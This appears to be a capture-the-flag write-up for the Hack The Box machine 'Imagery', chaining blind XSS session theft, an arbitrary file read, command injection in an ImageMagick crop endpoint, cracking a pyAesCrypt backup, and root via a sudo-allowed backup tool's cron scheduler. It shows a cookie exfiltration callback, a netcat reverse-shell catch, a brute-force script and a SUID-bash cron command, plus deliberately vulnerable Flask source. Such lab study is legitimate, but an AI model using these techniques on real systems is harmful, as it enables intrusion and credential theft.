Imagery chains a blind XSS in an admin-reviewed bug report into a stolen admin session, an arbitrary file read that leaks the Flask source and an unsalted MD5 user database, a command injection in a test-user-only image crop feature for a shell as web, a pyAesCrypt-encrypted backup that leaks mark’s password, and a sudo-allowed backup tool whose cron scheduler runs commands as root.
In the contrary the official HTB path and description of the box goes as follows:
Imagery is a medium-difficulty Linux machine that involves gaining admin access via exploiting a blind XSS. With admin privileges, the attacker exploits arbitrary file read to read sensitive files and source code. By reading the web app’s source code, the attacker discovers a feature that allows them to modify/transform an image, thereby making it vulnerable to remote code execution. After gaining an initial foothold, the attacker finds a backup file encrypted with pyAesCrypt, which leaks credentials for the mark user account. The mark user account is allowed to execute a custom Python-written Charcol app as root. The attacker manages to reset the master password, create a cron job via the Charcol app, and obtain command execution as the root user.
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM| grep '^[0-9]'| cut -d '/' -f 1| tr '\n'','| sed s/,$//)└─$ nmap -p$ports -sC -sV $VICTIMStarting Nmap 7.991 ( https://nmap.org ) at 2026-11-27 22:24 +0100
Nmap scan report for$VICTIMHost is up (0.0047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only SSH and a Werkzeug server on 8000, so the back-end is Flask (Python). Add the host:
1
echo'VICTIM-IP imagery.htb'| sudo tee -a /etc/hosts
We register an account and log in.
The app is an image gallery with an upload form (title, description, file) and, in the footer, a Report a Bug form that goes to an admin for review.
We played a bit with the upload feature but couldn’t really deliver an XSS attack. All fields were sanitized from the backend.
Tip
A Python back-end is not a PHP-style web shell target. Flask only executes the routes the developer defined; an uploaded .py is served as text or not at all. On a Python stack the question is what the app does with the file (command injection in image tooling, path traversal on write, SSTI, deserialization), not “can I upload a shell”.
The upload enforces an extension allowlist (File type not allowed by extension.), sanitises the stored filename, and the gallery JSON exposes a server-detected actual_mimetype. The interesting part is the client-side render code:
DOMPurify.sanitize() cleans HTML text — it does not escape ". Inside a quoted attribute, a " in title would close alt and let us add our own event handler. Testing the title from Burp Repeater:
Sent
Stored (gallery JSON)
x" onload="alert(1)
x onload=alert(1)
x\" onload="alert(1)
x\ onload=alert(1)
'x" onload="alert(1)'
x onload=alert(1)
x" onerror="alert(document.domain)//<b>
x" onerror="alert(document.domain)//b
The back-end strips "'<> character by character (<b> → b) but keeps &, #, ;. Later, the source confirms it (utils.py):
The HTML parser only ends an attribute value on a raw". An entity is decoded as part of the value, so alt simply contained the text x" onerror=".... DevTools shows the parsed DOM, so it looks like a breakout — it isn’t.
The bypass needed DOMPurify to decode it first. DOMPurify returns its input unchanged when there is no <. With a <, it parses (turning " into a real " in a text node) and re-serialises, and text serialisation does not escape quotes — a raw " would land inside alt="...". Verified locally:
Here the back-end strips <, so DOMPurify always takes the fast path and there is no double decode. description uses the same filter, and the filename is sanitised (quotes and spaces removed).
Tip
DOMPurify.sanitize() in an attribute context is still a bug: it doesn’t escape quotes and it decodes entities on its parse/serialise round trip. Look for filter → decode step → sink. On Imagery the server-side blacklist on " ' < > happens to close the gap.
Every field is wrapped in DOMPurify.sanitize()except report.details, which goes raw into innerHTML — stored XSS that fires in the admin’s browser when the review bot opens the panel.
The first round of classic blind payloads got no callback at all:
<script> inserted through innerHTML never executes — browsers deliberately ignore it. javascript: only runs as a loaded or clicked URL, and $.getScript needs jQuery on the page. For DOM-rendered sinks, use elements that load or fire events: <img src=x onerror=...>, <svg onload=...>.
A plain <img> per field is the cleanest probe — it needs no JavaScript and tells us which field renders:
└─$ python -m http.server 8888Serving HTTP on 0.0.0.0 port 8888(http://0.0.0.0:8888/) ...
VICTIM-IP - - [28/Nov/2026 19:59:12] code 404, message File not found
VICTIM-IP - - [28/Nov/2026 19:59:12]"GET /details HTTP/1.1"404 -
VICTIM-IP - - [28/Nov/2026 20:01:12]"GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.awsk9Q.E2kFb7-zzJliAw6BSyjpqExkI_Q HTTP/1.1"200 -
Only /details called back: DOMPurify would keep a plain <img src=http://...>, so name is most likely also stripped by the back-end filter. The cookie is readable from JavaScript because the app explicitly disables HttpOnly (app.py, below).
On a Python app an LFI is a file read, not code execution — there is no PHP-style include(). Its value is reading the app’s own code and data. /proc/self is the app process itself:
The app runs as web, from a venv, and app.py is relative — so the source lives in the working directory, /home/web/web/.
Tip
A plain curl of /proc/self/cmdline returned nothing, while Burp showed the body. /proc files report size 0 in stat(), so Flask’s send_file() sends Content-Length: 0 (the -0- in the ETag is that size) but still streams the content. curl trusts the header and stops at 0 bytes; Burp reads until the connection closes. Use Burp or curl --ignore-content-length for every /proc read. Arguments are NUL-separated, hence the tr '\0' ' '.
SESSION_COOKIE_HTTPONLY = False is why document.cookie returned the admin session. The secret key is random per start, so forging cookies is off the table.
Before the hash route we tried to brute-force testuser on /login and hit the lockout (10 attempts → 1 minute; the response grows from 60 to 79 bytes when it kicks in). config.py shows an X-Bypass-Lockout header that skips it. The real token turned up later in the admin bot (K7Zg9vB$24NmW!q8xR0p%tL!), so CRON_BYPASS_TOKEN is set and the dev default doesn’t work.
testuser — command injection in the crop transform#
The front-end hides image editing behind a client-side check:
1
2
3
4
if(!loggedInUserIsTestUser){showMessage('Feature still in production.','error');return;}
The real gate is server-side (session['is_testuser_account']) in api_edit.py, which holds the testuser-only endpoints /edit_image_details, /convert_image, /delete_image_metadata and /apply_visual_transform.
@bp_edit.route('/apply_visual_transform',methods=['POST'])defapply_visual_transform():ifnotsession.get('is_testuser_account'):returnjsonify({'success':False,'message':'Feature is still in development.'}),403if'username'notinsession:returnjsonify({'success':False,'message':'Unauthorized. Please log in.'}),401request_payload=request.get_json()image_id=request_payload.get('imageId')transform_type=request_payload.get('transformType')params=request_payload.get('params',{})ifnotimage_idornottransform_type:returnjsonify({'success':False,'message':'Image ID and transform type are required.'}),400application_data=_load_data()original_image=next((imgforimginapplication_data['images']ifimg['id']==image_idandimg['uploadedBy']==session['username']),None)ifnotoriginal_image:returnjsonify({'success':False,'message':'Image not found or unauthorized to transform.'}),404original_filepath=os.path.join(UPLOAD_FOLDER,original_image['filename'])ifnotos.path.exists(original_filepath):returnjsonify({'success':False,'message':'Original image file not found on server.'}),404iforiginal_image.get('actual_mimetype')notinALLOWED_TRANSFORM_MIME_TYPES:returnjsonify({'success':False,'message':f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}),400original_ext=original_image['filename'].rsplit('.',1)[1].lower()iforiginal_extnotinALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:returnjsonify({'success':False,'message':f"Transformation not supported for {original_ext.upper()} files."}),400try:unique_output_filename=f"transformed_{uuid.uuid4()}.{original_ext}"output_filename_in_db=os.path.join('admin','transformed',unique_output_filename)output_filepath=os.path.join(UPLOAD_FOLDER,output_filename_in_db)iftransform_type=='crop':x=str(params.get('x'))y=str(params.get('y'))width=str(params.get('width'))height=str(params.get('height'))command=f"{IMAGEMAGICK_CONVERT_PATH}{original_filepath} -crop {width}x{height}+{x}+{y}{output_filepath}"subprocess.run(command,capture_output=True,text=True,shell=True,check=True)eliftransform_type=='rotate':degrees=str(params.get('degrees'))command=[IMAGEMAGICK_CONVERT_PATH,original_filepath,'-rotate',degrees,output_filepath]subprocess.run(command,capture_output=True,text=True,check=True)eliftransform_type=='saturation':value=str(params.get('value'))command=[IMAGEMAGICK_CONVERT_PATH,original_filepath,'-modulate',f"100,{float(value)*100},100",output_filepath]subprocess.run(command,capture_output=True,text=True,check=True)eliftransform_type=='brightness':value=str(params.get('value'))command=[IMAGEMAGICK_CONVERT_PATH,original_filepath,'-modulate',f"100,100,{float(value)*100}",output_filepath]subprocess.run(command,capture_output=True,text=True,check=True)eliftransform_type=='contrast':value=str(params.get('value'))command=[IMAGEMAGICK_CONVERT_PATH,original_filepath,'-modulate',f"{float(value)*100},{float(value)*100},{float(value)*100}",output_filepath]subprocess.run(command,capture_output=True,text=True,check=True)else:returnjsonify({'success':False,'message':'Unsupported transformation type.'}),400...
The crop parameters (x, y, width, height) are taken straight from the JSON body, converted with str() and placed into an f-string that builds the convert command. That string is run with shell=True, so /bin/sh interprets it, and any shell metacharacter in a parameter (;, |, $()) ends the convert command and starts our own. The other transforms aren’t vulnerable: rotate passes a list without a shell (shell characters are just text in one argument), and saturation / brightness / contrast go through float(), which rejects anything non-numeric.
Preconditions: logged in as testuser, and an image uploaded by testuser (uploadedBy is checked) that is a real jpg/png/gif (actual_mimetype is checked too). We upload one as testuser, grab its imageId, start a listener and send the crop request from Burp:
└─$ nc -lvnp 4444listening on [any]4444 ...
connect to [ATTACKER-IP] from (UNKNOWN)[VICTIM-IP]42842$ ls
api_admin.py api_manage.py app.py db.json static uploads
api_auth.py api_misc.py bot env system_logs utils.py
api_edit.py api_upload.py config.py __pycache__ templates
$ pwd/home/web/web
$ whoami
web
Tip
Prevention (for reports): Never build shell commands from user input. Pass arguments as a list to subprocess.run() without shell=True, and validate parameters against their expected type (here, integers) — exactly what the rotate branch in the same file already does.
The admin password is not reused for mark (su mark fails). linpeas on web is mostly noise — snap SUIDs and capabilities, chrome-sandbox, a false-positive “private SSH key” in /etc/ImageMagick-6/mime.xml, and ~/.pki/nssdb (Chrome’s certificate store, created by the bot). Non-default directories are the lead:
1
2
3
4
5
web@Imagery:~$ ls -la /var/backup
total 22524drwxr-xr-x 2 root root 4096 Sep 222025 .
drwxr-xr-x 14 root root 4096 Sep 222025 ..
-rw-rw-r-- 1 root root 23054471 Aug 62024 web_20250806_120723.zip.aes
Tip
/var/backups (with an s) is standard Debian — the dpkg/apt rotations. /var/backup doesn’t exist on a default install, so someone created it. A world-readable encrypted archive of an older copy of the web app means an older db.json.
Serve it from the box and pull it:
1
2
3
web@Imagery:/var/backup$ python3 -m http.server 8887Serving HTTP on 0.0.0.0 port 8887(http://0.0.0.0:8887/) ...
ATTACKER-IP - - [29/Nov/2026 09:25:42]"GET /web_20250806_120723.zip.aes HTTP/1.1"200 -
1
2
3
4
5
6
└─$ wget http://imagery.htb:8887/web_20250806_120723.zip.aes -O ./web_20250806_120723.zip.aes
...
2026-11-29 10:25:42 (54.3 MB/s) - ‘./web_20250806_120723.zip.aes’ saved [23054471/23054471]└─$ file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
pyAesCrypt (AES Crypt format) isn’t supported by hashcat or john, so a short loop over rockyou does it. The format verifies the password before decrypting the 22 MB body, so wrong guesses fail fast:
1
2
3
4
5
6
7
8
9
10
11
12
importpyAesCryptwithopen("/usr/share/wordlists/rockyou.txt","r",encoding="latin-1")asf:fori,lineinenumerate(f,1):password=line.rstrip("\n")try:pyAesCrypt.decryptFile("../web_20250806_120723.zip.aes","../web_20250806_120723.zip",password)print(f"[+] Found password: {password!r}")breakexceptValueError:ifi%1000==0:print(f"[-] Tried {i} passwords...",flush=True)
Backup file password
1
2
└─$ python decrypt.py
[+] Found password: 'bestfriends'
Having the AES password cracked and decrypted we look at the backup zip. The backup’s db.json still has users that were removed from production:
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
mark@Imagery:~$ ls -la /usr/local/bin/charcol
ls -la /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug 42025 /usr/local/bin/charcol
charcol is a custom backup tool. Running it asks for an application password we don’t know, but its global flags include a reset:
1
2
3
4
5
6
7
8
9
10
Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).
-R only verifies the system password of the calling user — and we have mark’s:
1
2
3
4
5
6
7
8
sudo /usr/local/bin/charcol -R
Attempting to reset Charcol application password to default.
[2026-11-30 09:53:03][INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
<REDACTED>
[2026-11-30 09:53:06][INFO] System password verified successfully.
Restarting the shell after the reset triggers first-time setup, where we set our own application password and or just skip it all together:
sudo /usr/local/bin/charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
yes
[2026-11-30 09:53:26][INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
[2026-11-30 09:53:35][INFO] Entering Charcol interactive shell. Type 'help'for commands, 'exit' to quit.
Inside the charcol shell, the help lists an auto add command that schedules cron jobs. Since charcol runs as root via sudo, those jobs run as root. We schedule one that sets the SUID bit on bash:
1
2
3
4
5
6
7
8
9
charcol> auto add --schedule "* * * * *" --command "cp /bin/bash /home/mark/hbash; chmod u+s /home/mark/hbash" --name "hack"<rk/hbash; chmod u+s /home/mark/hbash" --name "hack"
[2026-11-30 11:02:46] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
<REDACTED>
[2026-11-30 11:02:57] [INFO] System password verified successfully.
[2026-11-30 11:02:57] [INFO] Auto job 'hack' (ID: ad84fa73-6e9e-40ed-a59f-0814df17d7e4) added successfully. The job will run according to schedule.
[2026-11-30 11:02:57] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /home/mark/hbash; chmod u+s /home/mark/hbash
Tip
The application password protecting the cron feature is meaningless here: -R resets it using only the invoking user’s system password, and sudo makes the invoking user’s tool run as root. Any feature that runs arbitrary commands (“backup hooks”, schedulers, editors) in a sudo-allowed binary is a root shell.
Wait a minute for cron, check the SUID bit and spawn a privileged shell with -p:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ls -al
ls -al
total 2408drwxr-x--- 3 mark mark 4096 Nov 30 11:03 .
drwxr-xr-x 4 root root 4096 Sep 222025 ..
lrwxrwxrwx 1 root root 9 Sep 222025 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark 220 Aug 202024 .bash_logout
-rw-r--r-- 1 mark mark 3771 Aug 202024 .bashrc
drwx------ 3 mark mark 4096 Nov 30 09:45 .gnupg
-rwsr-xr-x 1 root root 1474768 Nov 30 11:03 hbash
-rwxrwxr-x 1 mark mark 954437 Jan 242026 linpeas.sh
-rw-r--r-- 1 mark mark 807 Aug 202024 .profile
-rw-r----- 1 root mark 33 Nov 30 08:49 user.txt
mark@Imagery:~$ ./hbash -p
./hbash -p
hbash-5.2# whoami
whoami
root